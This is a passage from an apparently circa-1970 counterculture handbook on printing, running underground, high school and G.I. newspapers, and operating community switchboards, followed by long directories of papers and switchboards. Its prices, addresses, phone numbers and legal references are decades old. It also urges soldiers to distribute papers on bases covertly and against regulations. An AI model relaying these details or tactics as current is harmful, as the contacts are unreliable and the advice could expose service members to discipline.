and white pictures with good contrast. To make an electronic stencil, you map out on a
sheet of paper everything you want printed. This is a photo process, so make sure only what
you want printed shows up on the sheet. You can use a light blue pencil for guide lines as it
won't photograph, but be neat anyway. Printing shops will cut a stencil on a special
machine for about $3.00.
The Gestefax Electronic Stencil Cutter can be leased or rented in the same way as the
duplicator. If you are doing a lot of printing for a number of different groups, this machine
will eliminate plenty of hassle. The stencils cost about 20¢ each and take about fifteen
minutes to make.
If you have an electronic stencil cutter, duplicator, electric typewriter and a cheap source
of paper, you can do almost any printing job imaginable. Have a dual rate system: one for
community groups and another for regular business orders. You can use the profits to go
towards the purchasing of more equipment and to build toward the day when you can get
your own offset press.
Silk Screening
Posters banners and shirts that are unbelievable can be printed by this exciting method.
The process is easy to learn and teach. You'll need a fairly large area to work in since the
posters have to be hung up to dry. Pick up any inexpensive paperback book on silk
screening. The equipment costs less than $50.00 to begin. Once you get good at it, you can
print complicated designs in a number of different colors, including portraits.
UNDERGROUND NEWSPAPERS
Food conspiracies, bust trusts, people's clinics and demonstrations are all part of the new
Nation, but if asked to name the most important institution in our lives, one would have to
say the underground newspaper. It keeps tuned in on what's going on in the community and
around the world. Values, myths, symbols, and all the trappings of our culture are
determined to a large extent by the underground press. Each office serves as a welcome
mat for strangers, a meeting place for community organizers and a rallying force to fight
pig repression. There are probably over 500 regularly publishing with readerships running
from a few hundred to over 500,000. Most were started in the last three years. If your
scene doesn't have a paper, you probably don't have a scene together. A firmly established
paper can be started on about $2,500. Plan to begin with eight pages in black and white
with a 5,000 copy run. Each such issue will cost about $300 to print. You should have six
issues covered when you start. Another $700 will do for equipment. Offset printing is what
you'll want to get from a commercial printing establishment.
You need some space to start, but don't rush into setting up a storefront office until you
feel the paper's going to be successful. A garage, barn or spare apartment room will do
just fine. Good overhead fluorescent lighting, a few long tables, a bookcase, desk, chairs,
possibly a phone and you are ready to start.
Any typewriter will work, but you can rent an IBM Selectric typewriter with a deposit of
$120.00 and payments of $20.00 per month. Leasing costs twice as much, but you'll own
the machine when the payments are finished. The Selectric has interchangeable type that
works on a ball system rather than the old-fashion keys. Each ball costs $18.00, so by
getting a few you can vary the type the way a printer does.
A light-table can make things a lot easier when it comes to layout. Simply build a box (3' x
4' is a good size, but the larger the better) out of ½" plywood. The back should be higher
than the front to provide a sloping effect. The top should consist of a shelf of frosted glass.
Get one strong enough to lean on. Inside the box, attach two fluorescent light fixtures to
the walls or base. The whole light table should cost less than $25.00. That really is about all
you need, except someone with a camera, a few good writers who will serve as reporters, an
artistic person to take care of layout, and someone to hassle printing deals, advertising and
distribution. Most people start by having everyone do everything.
Layout
A tabloid size paper is 9 7/8" x 14 5/8" with an inch left over on each side for margins.
Columns typically are 3 1/4" allowing for three per page. Experience has found that this
size is easy to lay out and more importantly, easy to read. There is an indirect ratio
between readability and academic snobbishness. Avoid the textbook look. Remember, the
New York Times in its low form represents the Death Kulture.
Start off with a huge collection of old magazines and newspapers. You can cut up all sorts
of letters, borders, designs and sketches and paste them together to make eye-catching
headlines. Sheets of headline type are available in different styles from art stores for $1.25
a sheet. Buy one of each type and then photograph several copies of each, bringing the
price way down. The basic content in the prescribed column size should be banged out on
the IBM. The columns can be clipped together with a clothespin to avoid confusion. Use a
good heavy bond white opaque paper.
All black and white photographs from newspapers and magazines can be used directly.
Color pictures can also be used but it's tricky and you'll have to experiment a little to get
an understanding of what colors photograph poorly. Glossy black and white photographs
must be shot in half tones to keep the grey areas. You can have them processed at any
photo lab. You might also need the photo lab for enlargements or reductions, so make
contact and establish a good working relationship.
An Exacto knife is available for 29¢ and you can get a package of 100 blades for $10.00. A
few metal rulers, a good pair of scissors, some spray adhesive or rubber cement and you're
ready to paste the pages that will make up the "dummy" that goes to the printer. Each
page is laid out on special layout sheets with faint blue guide lines that don't photograph.
Any large art supply store sells these sheets and all the other supplies.
By working over a light-table, the paste-up can be done more professionally. Experiment
with many different layouts for each page before finally pasting up the paper. Don't have a
picture in the corner and the rest solid columns. Print can be run over pictures and
sketches by preparing two sheets for that page and shooting background in half-tones. The
columns don't have to be run straight up and down, but can run at different angles. The
most newsworthy articles should be towards the front of the paper. The centerfold can be
treated in an exciting manner. A good idea is to do the centerfold so that it can be used as
a poster to put on a wall after the paper is read. If you have ads, they should be kept near
the back. The masthead, which gives the staff, mailing address, and similar info, goes near
the front. Your focus should be the local activities. A section should be reserved for a
directly of local services and events. People giving things away should have a section. The
rest really depends on the life style and politics of the staff.
National stories can be supplied by one or more of the news services. Nothing in the
underground press is copyrighted, so you can reprint an interesting article from another
paper. It's customary to indicate what paper printed it first, or news service it was sent out
by. Any underground paper has permission to reprint hunks of this book.
Ads
Most papers find it necessary to get some advertising to help defray the production costs.
Some rely totally on subscription; some are outgrowths of organizations and still others are
printed up and just handed out free. The ones with ads seem to have the longest life. Make
up an ad rate before you put out the first issue. Ads are measured in inches of length. The
width is understood by everyone to be the width of the column. If you use the 3¼" column,
however, you'll want to let potential advertisers know you have wide columns.
The way to arrive at a reasonable rate is to estimate the total budget for each issue
(adding some for overhead and labor), then each page and finally each column inch. After a
little arithmetic you can get a good estimate of your printing cost per inch. Using our
figures throughout this section, it should come to about $2.00 per inch. Double this figure
and you'll arrive at the correct rate per advertising inch-$4.00. There should be special
lower rates for large ads, such as half or full pages. There should also be a special
arrangement for a continuous subscriber. If you have a classified section, another rate
based on number of words or lines is constructed. A service charge is fixed if you make up
the ad layout rather than the advertiser. The whole formula should be worked out and
printed up before you lay out the first issue.
The best place to get advertising is locally. Theaters, hip clothing stores, ice cream parlors,
and record stores are among the type of advertisers you should approach. After you build
up a circulation, you might want to seek out national advertisers. The Underground Press
Syndicate, Box 26, Village Station, New York, NY 10014, can be joined for $25.00, no dues
thereafter. They try to get national ads for you in addition to sending out a newsletter, a
news service, and making sure you get free subscriptions to the other underground papers.
The U.P.S. can also do many other things for you, like list you in their directory, obtain legal
advice, and bring you together with other underground papers for mutual benefit and
defense. Another way to get national advertising is to see who tends to advertise in other
underground papers. Send the publicity department of these companies letters and
samples of your paper. Never let ads make up more than half the paper.
Distribution
At the beginning you should aim for a bi-weekly paper with a gradual increase in the
number of pages. The price should be about 25¢. Check out the local laws about selling
papers on the street. It's probably allowed and is a neat way to get the paper around. Give
half to the street hawkers. Representatives at high schools and colleges should be sought
out. Bookstores and newsstands are good places to distribute. After your paper gets going
well, you might try for national distribution. The Cosmep Newsletter is put out by the
Committee of Small Magazines, Editors and Publishers, PO Box 1425, Buffalo, NY 14214.
In addition to good tips if you want to start a small literary magazine or publish your own
book, they provide an up-to-date list of small stores around the country that would be likely
to carry your paper. Subscriptions should be sought in the paper itself. If you get a lot,
check out second class mailing privileges. UPS can help with out-of-city distribution.
If you're in a smaller town, you might have to shop around or go to another city to get
printing done. Many printers print only pig swill, which brings up the point of getting busted
for obscenity which can be pretty common. You probably should incorporate, but contact a
sympathetic lawyer before you put out your first issue. During the summer there are
usually a few alternative media conferences organized by one group or another. You can
pick up valuable information and exchange ideas at these gatherings. UPS and the news
services will keep you posted. Good luck and write on!
HIGH SCHOOL PAPERS
The usual high school paper is run by puppet lackeys of the administration. It avoids
controversy, naughty language, and a host of other things foreign to the 4-H Club members
the school is determined to mass produce. The only thing the staff is good at is kissing the
principal's ass. Let's face it, the aim of a good high school newspaper should be to destroy
the high school. Publishing and distributing a heavy paper isn't going to earn you the Junior
Chamber of Commerce good citizenship award. You might have to be a little mysterious
about who the staff is until you understand the ground rules and who controls the
ballpark¾the people or the principal.
Many schools do not allow papers to be handed out on the school premises. These cases
are generally won by the newspapers that take the school to court. You can challenge the
rule and make the administration look like the dinosaurs they are by distributing sheets of
paper with only your logo and the school rule printed. By gaining outside publicity for the
first distribution of the paper, you might put the administration up tight about clamping
down on you. It might be difficult to explain in civics class when they get to the freedom of
the press stuff. Your paper should have one purpose in mind¾to piss off the principal and
radicalize the students. If you run into problems, seek out a sympathetic lawyer. You can
get a helpful pamphlet from the ACLU, 156 5th Ave., New York, NY 10010, called
Academic Freedom in the Secondary Schools" for 25¢.
Tell your lawyer about the most recent (July 10, 1970) decision of the United States
District Court in Connecticut which ruled that the high school students of Rippowan High
School in Stanford can publish independent newspapers without having the contents
screened in advance by school officials.
The same info for underground papers applies to high school rags, only the price should be
much less if not free. To begin with, you might just mimeograph the first few issues before
trying photo-offset printing. It is very important to get the readers behind you in case you
have to go to war with the administration in order to survive. Maintain friendships with
above ground reporters, the local underground paper and radical community groups for
alliances.
G.I. PAPERS
A heavier scene than even the high schools exists in No-No Land of the military.
None-the-less, against incredible odds, courageous G.I.'s both here and overseas have
managed to put out a number of underground newspapers. If you are a G.I. interested in
starting a paper, the first thing to do is seek out a few buddies who share your views on the
military and arrange a meeting, preferably off the base. Once you have your group together,
getting the paper published will be no problem. Keeping your staff secret, you can have one
member contact with someone from a G.I. coffee house, anti-war organization or nearby
underground newspaper. This civilian contact person will be in a position to raise the bread
and arrange the printing and distribution of the paper. You can write one of the national G.I.
newspaper organizations listed at the end of this section if you are unable to find help
locally. The paper should be printed off the base. Government equipment should be
avoided.
Correspondence and subscriptions can be solicited through the use of a post office box.
Such a box is inexpensive and secret (at least that's what the G.I. papers now publishing
report) from military snoopers up tight about bad publicity if they get caught spying. If you
are mailing the paper to other G.I.'s use first class mail and a plain envelope. This is advice
to anybody sending stuff to a G.I. The mail is handled by "lifers" who will report
troublemakers to their C.O. (Commanding Officer) if they notice anti-war slogans on
envelopes or dirty commie rags coming their way.
You'll want to publish stuff relevant to the lives of the G:I.'s on your base. News of
demonstrations, articles on the war, racism, counter-culture and vital info on how to bug
the higher-ups and get out of the military service are all good. Get samples of other
newspapers already in operation to get the flavor of writing that has become popular.
Distributing the paper is really more of a problem than the publishing. Here you run smack
into Catch 22, which says, "no printed matter may be distributed on a military base without
prior written permission of the commanding officer." No such permit has been granted in
military history. A few court battles have had limited success and you should go through
the formality of obtaining a permit. Send the first issue of the paper to your C.O. with a
cover letter stating where and when you intend to distribute the paper on the base. In no
part of the application should you list your names. Have a civilian, preferably a civil liberties
lawyer, sign the declaration of intent. If more info is requested, go over it with the lawyer
before responding, Natch, they're going to want to know who you are and where you get
your bread, but fuck 'em. Whether or not you get a permit or have a successful court battle
is pretty academic. If the military pigs catch you handing out an underground paper on the
base, you're headed for trouble. Use civilian volunteers from your local peace group in as
many public roles as possible. They'll be glad to help out.
Print and distribute as many copies as you can rather than concentrating on an expensively
printed paper with numerous pages. The very existence of the paper around the base is the
most important info the paper can offer. Leave some in mess halls, theaters, benches,
washrooms, and other suitable spots. Off base get the paper to sympathetic reporters,
coffee houses, colleges and the like. Outside U.S.O. centers and bus terminals are a good
place to get the paper out. Rely on donations, so you can make the paper free. Get it
together. Demand the right to join the army of your choice. The People's Army! As Joe Hill
said in one of his songs, "Yes, I'll pick up a gun but I won't guarantee which way I'll point it."
NEWS SERVICES
Aside from UPS, which is the association of papers, there are five news services that we
know of that you might be interested in subscribing to for national stories, photos,
production ideas, news of other papers and general movement dope. LNS is the best
known. It sends out packets once a week that include about thirty pages with original
articles, eye-witness reports, reprints from foreign papers and photographs. They tend to
be heavily political rather than cultural and view themselves as molders of ideology rather
than strictly a service organization of the underground papers. A subscription costs $15.00
per month, but if you're just starting out they are good about slow payments and such.
You should get in the habit of sending special articles, in particular eye-witness accounts of
events that other papers might use, to one or more of the news services for distribution. If
you hear of an important event that you would like to cover in your newspaper, call the
paper in that area for a quick report. They might send you photos if you agree to
reciprocate.
LIBERATION NEWS SERVICE-160 Claremont Ave., New York, N.Y. 10027 (212)
749-2200
COLLEGE PRESS SERVICE-1779 Church St., NW, Washington, D.C. 20036 (202)
387-7575
CHICANO PRESS ASSOCIATION-La Raza, Box 31004, Los Angeles, California 90031
G.I. PRESS SERVICE-Rm 907, 1029 Vermont Ave., NW, Washington, D.C. 20005
FREE RANGER INTERTRIBAL NEWS SERVICE-Box 26, Village Station, N.Y., N.Y.
10014 (212) 691-6973
A complete and up-to-date list of G.I. underground papers can be obtained by writing to
G.I. Press Service, 1029 Vermont Ave., NW, Rm 907, Washington, D.C. 20005. G.I. Alliance
provides excellent national newsletters with all sorts of ways to fuck up the Army. Write G.I.
Alliance, PO Box 9087, Washington, D.C. 20003. The phone is (202) 544-1654. American
Serviceman's Union, 156 5th Avenue, New York, N.Y., 10010 will also help, as well as provide
legal and medical aid to G.I.'s.
A complete and up to date list of Chicano underground papers can be obtained by writing
to Chicano Press Association, La Raza, Box 31004, Los Angeles, California 90031.
The Young Lords Organization paper Palante can be obtained by writing to Young Lords
Party, Ministry of Finance, 1678 Madison Ave., New York, N.Y. 10029. It's $5.75 for 24
issues.
The Black Panther Party paper can be obtained by writing to Black Panther Party, Ministry
of Information, Box 2967, Custom House, San Francisco, Calif. 94126. It's $7.50 for 52
issues.
THE UNDERGROUND PRESS
ALBION'S VOICE, Box 9033, Savannah, Ga. 31401 $4/yr.
AMAZING GRACE, 212 W. College Ave. Tallahassee, Fla. $6/26 issues.
ANGRY CITY PRESS, 14016 Orinoco Ave., E. Cleveland, Ohio 44112
ANN ARBOR ARGUS, 708 Arch St., Ann Arbor, Mich. 48104 $3/yr.
AQUARIAN ORACLE, 8003 Santa Monica Blvd., L.A., Calif. .50/iss.
AQUARIAN TIMES, 331 Forest Acres Shipping Ctr., Easley, S.C. 29640
AQUARIAN WEEKLY, 292 Main St., Hackensack, N.J.
ASTRAL PROJECTION, Box 4383, Albuquerque, N. Mex. 87106
AUGUR, 207 Ransom Bldg., 115 E. 11th Ave., Eugene, Ore. 97401
BARD OBSERVER, Box 76, Bard College, Annandale-on-the Hudson, N.Y. 12504
BERKELEY BARB, Box 1247, Berkeley, Calif. 94715 $6/yr.
BERKELEY TRIBE, Box 9049, Berkeley, Calif. 94709 $8/
BOTH SIDES NOW, 10370 St. Augustine Rd., Jacksonville, Fla. 32217 $2/12 iss.
BROADSIDE/FREE PRESS, Box 65, Cambridge, Mass. 02139 $4.50/yr.
BURNING RIVER NEWS, 12027 Euclid Ave., Cleveland, Ohio 44112 $5/yr.
CHINOOK, 1452 Pennsylvania St., Denver, Col., 80203 $6/50 iss.
THE CLAM COMMUNITY LIBERATOR, Box 13101, St. Petersburg, Fla. 33733
COME OUT, Box 92, Village Station, New York, N.Y. 10014, $6.50/12 iss.
COUNTRY SENSES, Box 465, Woodbury, Conn. 06798 $5/yr.
CREEM, 3729 Cass Ave., Detroit, Mich. 48201 $5/24 iss.
DAILEY PLANET, Suite 2-3514 S. Dixie Hwy., Coconut Grove, Fla. 33133 $5/yr.
DALLAS NOTES, Box 7140, Dallas, Texas 75209 $5/yr.
DIFFERENT DRUMMER, Box 2638, Little Rock, Ark. 72203 $2/14 iss.
DISTANT DRUMMER, 420 South St., Philadelphia, Pa. 19147 $7/yr.
DOOR TO LIBERATION, Box 2022, San Diego, Calif. 92112 $4/26 iss.
DWARFF, Box 26, Village Station, N.Y., N.Y. 10014
EAST VILlAGE OTHER, 20 E. 12 St., N.Y., N.Y. 10003 $6/yr.
EL GRITO DEL NORTE, Box 466, Fairview Station, Espanola, N.M. $4/yr.
EYE OF THE BEAST, Box 9218, Tampa, Fla. 33604
FERAFERIA, Box 691, Altadena, Calif. 91001 $4/13 iss.
FIFTH ESTATE, 1107 W. Warren, Detroit, Mich. 48201 $3.75/yr.
FILMMAKERS NEWSLETTER, 80 Wooster St., N.Y., N.Y. 10012
FREEDOM NEWS, Box 1087, Richmond, Calif. 94801 $2.50/12 iss.
FREE SPAGHETTI DINNER, Box 984, Santa Cruz, Calif. 95060 $4/yr.
FREE YOU, 117 University Ave., Palo Alto, Calif. 94301 $6/yr.
FUSION, 909 Beacon St., Boston, Mass. 02215 $5/yr.
GEST, Box 1079, Northland Center, Southfield, Mich. 48075 $2/yr.
GREAT SPECKLED BIRD, Box 54495, Atlanta, Ga. 30308 $6/yr.
GREENFEEL, Jms Madison Law Inst., 4 Patchin Pl., N.Y., N.Y. 10011
GUARDIAN, 32 W. 22 St., N.Y. N.Y. 10010
HAIGHT-ASHBURY TRIBUNE, 1778 Haight St., San Francisco, Calif. 94117 $10/yr.
HARRY, 233 East 25th St., Baltimore, Md., 21218 $4/yr.
INDIANAPOLIS FREE PRESS, Box 225, Indianapolis, Ind. 46206 $5/26 iss.
INQUISITION, Box 3882, Charlotte, N.C. 28203 $2/6 iss.
KALEIDOSCOPE, Box 5457, Milwaukee, Wisc. 53211 $5/26 iss.
KUDZU, Box 22502, Jackson, Miss. 39205 $4/yr.
LAS VEGAS FREE PRESS, Box 14096, Las Vegas, Nev. 89114 $7/yr.
LEFT FACE, Box 1595, Anniston, Ala. 36201
LIBERATION, 339 Lafayette St., N.Y. 10012
LIBERATION NEWS SERVICE, 160 Claremont Ave., N.Y. 10027 $15/mth.
LIBERATOR, Box 1147, Morgantown, W. Virginia 26505
LONGBEACH FREE PRESS, 1255 E. 10, Long Beach, Ca. 90813 $6/25 iss.
LOS ANGELES FREE PRESS, 7813 Beverly Blvd., Los Angeles, Ca. 90036 $6/yr.
MADISON KALEIDOSCOPE, Box 881, Madison, Wisc. 53701 $5/yr.
MARIJUANA REVIEW, Calif. Instit. of Arts, 7500 Glenoaks Blvd., Burbank, Calif. 91504
MEMPHIS ROOT, Box 4747, Memphis, Tenn. 38104 $3.50/yr.
METRO, 906 W. Forest, Detroit, Mich. 48202 $4/yr.
MODERN UTOPIAN, P.0. Drawer A; Diamond Hts. Sta., S.F., Ca. 94131 $4/yr.
MOTHER EARTH NEWS, Box 38 Madison, Ohio 44057 $5/yr
NEWS FROM NOWHERE, Box 501, Dekalb, Ill. 60115 $5/yr.
NEW PRAIRIE PRIMER, Box 726, Cedar Falls, Iowa 50613 $4/20 iss.
NEW YORK HERALD TRIBUNE, 110 St. Marks Place, N.Y. $5/lifetime
NOLA EXPRESS, Box 2342, New Orleans, La. 70116 $3/yr.
NORTH CAROLINA ANVIL, Box 1148, Durham, N.C. 27702 $7.50/yr.
NORTHWEST PASSAGE, Box 105, Fairhaven Sta., Bellingham, Wash. 98225 $5/yr.
OLD MOLE, 2 Brookline St., Cambridge, Mass. 02139 $5/20 iss.
ORACLE OF SAN FRANCISCO, 1764 Haight St., San Francisco, Ca. 94117
OTHER SCENES, Box B, Village Station, N.Y. 10014 $6/yr.
OTHER VOICE, c/o Why Not Inc., Box 3175, Shreveport, La. 71103 $5/yr.
PAPER WORKSHOP, 6 Helena Ave., Larchmont, N.Y. 10538 $4/yr.
PEOPLES DREADNAUGHT, Box 1071, Beloit, Wisc.
PHILADELPHIA FREE PRESS, Box 1986, Philadelphia, Pa. 19105
PROTEAN RADISH, Box 202, Chapel Hill, N.C. 27514 $8/yr.
PROVINCIAL PRESS, Madala Print Shop, Box 1276, Spokane, Wash. 99210 $5/yr.
QUICKSILVER TIMES, 1736 R St., N.W. Wash., D.C. 20009 $8/yr.
RAG, 2330 Guadalupe, Austin, Tex. 78705 $7.50/yr.
RAT, 241 E. 14 St., N.Y. 10009 $6/yr.
REBIRTH, Box 729, Phoenix, Ariz. 85001
RISING UP ANGRY, Box 3746, Merchandise Mart, Chicago, Ill. 60654 $5/yr.
ROOSEVELT TORCH, 430 S. Michigan Ave., Chicago, Ill. 60605
SAN DIEGO STREET JOURNAL, Box 1332, San Diego, Calif. 92112
SECOND CITY, c/o The Guild, 2136 N. Halsted, Chicago, Ill. 60614 $6/26 iss.
SECOND COMING, Box 491 Ypsilanti, Mich. 48197
SEED, 950 W. Wrightwood, Chicago, Ill. 60614 $6/yr.
SPACE CITY, 1217 Wichita, Houston, Tex. 77004
SPECTATOR, c/o S. Indiana Media Corp., Box 1216, Bloomington, Ind. 47401
SUNDANCE, 1520 Hill, Ann Arbor, mich. 48104 $3.50/yr.
UPROAR, 44 Wimbleton Lane, Great Neck, N.Y. 11023
VIEW FROM THE BOTTOM, 632 State St., New Haven, Conn. 06510 $5/20 iss.
VORTEX, 706 Mass St., Lawrence, Kansas 66044 $5/24 iss.
WALRUS, Box 2307, Sta. A, Champaign, Ill. 61820
WATER TUNNEL, Box 136, State College, Pa. 16801 $3/Yr.
WILLIAMETTE BRIDGE, 6 SW 6th, Portland, Ore. 97209 $5/26 iss.
WIN, 339 Lafayette St., N.Y. 10012 $5/yr.
WORKER'S POWER, 14131 Woodward Ave., Highland Park, Mich. 48203 $3.50/yr.
USA/UPS ASSOCIATE MEMBERS
AKWESASNE NOTES, Roosevelton, N.Y. 13683 .50/iss.
ALESTLE, c/o Paul Gorden, 7404 Tower Lake, Apt. 1D, Edwardsville, Ill. 62025
ALLIANCE MAGAZINE, Box 229, Athens, Ohio 45701
ALL YOU CAN EAT, R.P.O. 4949, New Brunswick, N.J. 08903 $3/yr.
ALLTOGETHER, 44208 Montgomery-33 Palm Desert, Calif. $10/yr.
ALBION'S VOICE, P.0. Box 9033, Savannah, Ga. 31401 $4/yr.
AQUARIAN HERALD, Box 83, Virginia Beach, Va. 23458
ATLANTIS, 204 Oxford, Dayton, Ohio
BOTH SIDES NOW, 10370 St. Augustine Rd., Jacksonville, Fla. 33217 $3.50/12 iss.
COLLECTIVE, 614 Clark St., Evanston, Ill. 60201
COME TOGETHER, P.O. Box 163, Encino, Calif. 91316
CROSSROADS, Hill School, Pottstown, Pa. 19464
DALLAS NEWS (CORP), P.0. Box 7013, Dallas, Texas 75209 $/24 iss.
THE D.C. GAZETTE, 109 8th N.E., Washington, D.C. 20002 $5/yr.
EDGE CITY, 116 Standart St., Syracuse, N.Y. 13201 $3/yr.
EVERYWOMAN, 6516 W. 83 St., Los Angeles, Calif. 90045 $2.50/iss.
FAIR WITNESS, P.0. Box 7165, 0akland Sta., Pittsburgh, Pa. 15213
FOX VALLEY KALEIDOSCOPE, Box 252, Oshkosh, Wisc. 54901
FREE PRESS OF LOUISVILLE, 1438 S. First St., Louisville, Ky. 40208 $6/yr.
HIGH GAUGE, Box 4491, University, Ala. 35486 $5/Yr.
THE HIPS VOICE, P.O. Box 5132, Santa Fe, N. Mexico 87501 $5/24 iss.
HOME NEWS CO., P.O. Box 5263, Grand Central Station, N.Y. 10017
HUNDRED FLOWERS, Box 7152, Minneapolis, Minn. 55407 $9/yr.
IT AIN'T ME BABE, c/o W.L. Office Box 6323, Albany, Calif. 94706 $6/yr.
LIBERATED GUARDIAN, 14 Cooper Sq., New York, N.Y. 10003 $10/yr.
THE LONG ISLAND FREE PRESS, P.O. Box 162, Westbury, N.Y. 11590 $6/2 yr.
NEW TIMES, Box J, Temple, Ariz. 85281 $10/52 iss.
NOTES FROM UNDERGROUND, P.O. Box 15081, San Francisco, Calif. 94115
OUR TOWN (COLLECTIVE), Box 611, Eau Claire, Wisc.
PALANTE YLP, 1678 Madison Ave., New York, N.Y.
PROTOS, 1110 N. Edgemont St., Los Angeles, Calif. 90029 $3/yr.
PURPLE BERRIES, 449 West Seventh Ave., Columbus Ohio
REARGUARD, P.O. Box 8115, Mobile, Ala. 36608 $4/yr.
THE S.S. PENTANGLE, Box 4429, New Orleans, La. 70118 $4/20 iss.
ST. LOUIS OUTLAW, Box 9501, Cabanne Sta., St. Louis, Mo. 63161
SUSQUEHANNA BUGLER, 700 Market St., Williamsport, Pa. 17701 .25/iss.
TASTY COMIX, Box 21101, Wash., D.C. 20009
THE TIMES NOW, Box 676, Coconut Grove, Fla. 33133
TUSCON FREE PRESS, Box 3403, College Sta., Tuscon, Ariz. 85716
CANADA/UPS
ALTERNATE SOCIETY, 10 Thomas St., St. Catharines, Ont. $3.50/12 iss.
CARILLON, Univ. of Sask. Regina Campus, Regina, Saskatchewan
CHEVRON, University of Waterloo, Waterloo, Ontario $8/yr.
DIME BAG, 3592 University St., Montreal 130, Que.
FOURTH ESTATE, 24 Brighton Ct., Fredericton, N.B.
GEORGIA STRAIGHT, 56A Powell St., Vancouver, 4, B.C. $9/52 iss.
HARBINGER, Box 751, Stn F, Toronto 285, Ontario $4/26 iss.
OCTOPUS, Box 1259, Station B, Ottawa, 4 $4.50/26 iss.
OMPHALOS, 279½ Fort St. No. 4, Winnipeg 1, Manitoba $5/26 iss.
PRAIRIE FIRE; FOURTH ESTATE, Regina Community Media Project, 210 Northern
Crown Bldg. Regina, Sask.
SWEENEY, 119 Thomas St., Oakville, Ontario $2.50/12 iss.
EUROPE/UPS
Europe/UPS, Box 304, 8025, Zurich, Switzerland
FIFTH COLUMN, 100 New Cavendish Street, London W1, England
FRIENDS, 305 Portobello Rd., London W10, England
HAPT, Flat L, 42 Moore Ave., W. Howe, Bournemouth, Hampshire, England
HOLLAND HAPT, Keigersstraat 2a, Amsterdam, Holland
HOTCHAI, Postfach 304-CH 8025, Zurich 25, Switz. $5/yr.
INTERNATIONAL TIMES, 27 Endell St., London, WC2, Eng. $5/yr.
KARGADOOR, Oude Gracht 36 bis. Utrecht, Holland
OEUF, 14 Ch de la Mogeonne, 1293 Bellevue, Geneva Switzerland
OM, Kaizerstraat 2A, 11et, Amsterdam, Holland, Neth.
OPS VEDA, 16 Woodholm Rd., Sheffield 11, England
OZ, 52 Princedale Rd., London W11, England $6/yr.
PEACE NEWS, 5 Celedonian Rd., Kings Cross, London W1, Eng. $8.50/yr.
PIANETA FRESCA, 14 Vie Manzoni, Milano, Italy 20121 $1/iss.
QUINTO LICEO, c/o Tommsaco Bruccoleri, 3, Meadow Place, London, England
REAL FREE PRESS, Runstraat 31, Amsterdam, Netherlands $1/2 iss.
RED MOLE, 182 Pentonville Rd., London N1 Eng. $5.50/yr.
ROTTEN, Huset, Readhusstraede 13, 1466 Copenhagen K. Denmark
EUROPEAN ASSOCIATE MEMBERS
CYCLOPS, 32. St. Petersburg Place, London, W2, Eng. (Comix)
GRASS EYE, 71 Osbourne Rd., Levenshulme, Manchester 19, Eng.
MOLE EXPRESS, 19 New Brown St., Manchester 4, Eng.
PANGGG, Upn-Sippenpresse, d-8500, Nurnberg Kopernikusstr. 4, Germany
PARIA, c/o Poretti Viavalle Maggia 41, 6600 Locarno, Switz.
ZIGZAG, Yeoman Cottage, N. Marston, Bucks, England
LATIN AMERICA/UPS
ECO CONTEMPORANEO, C. Correo Central 1933, Buenos Aires, Argentina
...Membership list temporarily unavailable.
SWITCHBOARDS
A good way to quickly communicate what's coming down in the community is to build a
telephone tree. It works on a pyramid system. A small core of people are responsible for
placing five calls each. Each person on the line in turn calls five people and so on. If the
system is prearranged correctly with adjustments made if some people don't answer the
phone, you can have info transmitted to about a thousand people in less than an hour. A
slower but more permanent method is to start a Switchboard. Basically, a Switchboard is a
central telephone number or numbers that anybody can call night or day to get
information. It can be as sophisticated as the community can support. The people that
agree to answer the phone should have a complete knowledge of places, services and
events happening in the community. Keep a complete updated file. The San Francisco
Switchboard (see below) puts out an operator's manual explaining the organization and
operation of a successful switchboard. They will send it out for 12¢ postage. San Francisco
has the longest and most extensive Switchboard operation. From time to time there are
national conferences with local switchboards sending a rep.
San Francisco
THE SWITCHBOARD - 1830 Fell St., San Francisco, Calif. 94117 (415) 387-3575
MUSIC SWITCHBOARD - 1826 Fell St., San Francisco, Calif. 94117 (415) 387-8008
MISSION SWITCHBOARD - 848 14th St., San Francisco, Calif. 94110 (415) 863-3040
CHINATOWN EXCHANGE - 1042 Grant Ave., San Francisco, Calif. 94108 (415)
421-0943
THE HELP UNIT - 86 3rd St., San Francisco, Calif. 94103 (415) 421-9850
WESTERN ADDITION SWITCHBOARD - Fell & Fillmore, San Francisco, Calif. (415)
626-8524
California
CHICO SWITCHBOARD - 120 W. 2nd St., Chico, Calif. (916) 342-7546
EAST OAKLAND SWITCHBOARD - 2812 73rd Ave., Oakland, Calif. (415)569-6369
MARIN MUSIC SWITCHBOARD - 1017 "D" St., San Rafael, Calif. (415) 457-2104
WEST OAKLAND LEGAL SWITCHBOARD - 2713 San Pablo, Oakland, Calif. (415)
836-3013
SWITCHBOARD OF MARIN - 1017 "D" St., San Rafael, Calif. (415) 456-5300
BERKELEY SWITCHBOARD - 2389 Oregon, Berkeley, Calif. (415) 549-0649
SANTA CRUZ SWITCHBOARD - 604 River St., Santa Cruz, Calif. (408) 426-8500
PALO ALTO XCHANGE - 457 Kingsley Ave., Palo Alto, Calif. (415) 327-9008
SAN JOSE SWITCHBOARD - 50 S. 4th St., San Jose, Calif. (408) 295-2938
SANTA BARBARA SWITCHBOARD - 6575 Seville, Isla Vista, Calif. (805) 968-3564
EUREKA SWITCHBOARD - 1427 California, Eureka, Calif. (707) 443-8901 & 443-8311
UC DAVIS SWITCHBOARD - (on campus), UC Davis, Calif. (916) 752-3495
Other Western States
TURNSTILE - 1900 Emerson, Denver, Colorado (303) 623-3445
BLACKHAWK INFORMATION CENTER - 628 Walnut St., Waterloo, Iowa (319)
234-9965
TAOS SWITCHBOARD - c/o Gen. Del., Taos, New Mexico (505) 758-4288
PORTLAND SWITCHBOARD - 1216 SW Salmon, Portland, Oregon (503) 224-0313
HOUSTON SWITCHBOARD - 108 San Jacinto, Houston, Texas (713) 228-6072
YOUTH EMERGENCY SERVICE - 623 Cedar Ave. So., Minneapolis, Minn. (612)
338-7588
Eastern States
POWELTON TROUBLE CENTER - 222 N. 35th St., Phila., Penna.. (215) 382-6472
WASHINGTON D.C. SWITCHBOARD - 2201 P St. NW, Washington, D.C. (202)
667-4684
MIAMI CENTER FOR DIALOG - 2175 NW 26th St., Miami, Fla. (305) 634-7741
CANTERBURY HOUSE - 330 Maynard S, Ann Arbor, Michigan (313) 665-0606
THE LISTENING EAR - 547 E. Grand River, East Lansing, Michigan (517) 337-1717
THE ECSTATIC UMBRELLA - 3800 McGee Kansas City, Missouri (816) 561-4524
OPEN CITY - 4726 3rd St., Detroit, Michigan (313) 831-2770
SWITCHBOARD INC. - 1722 Summit St., Number 6, Columbus, Ohio (614) 294-6378
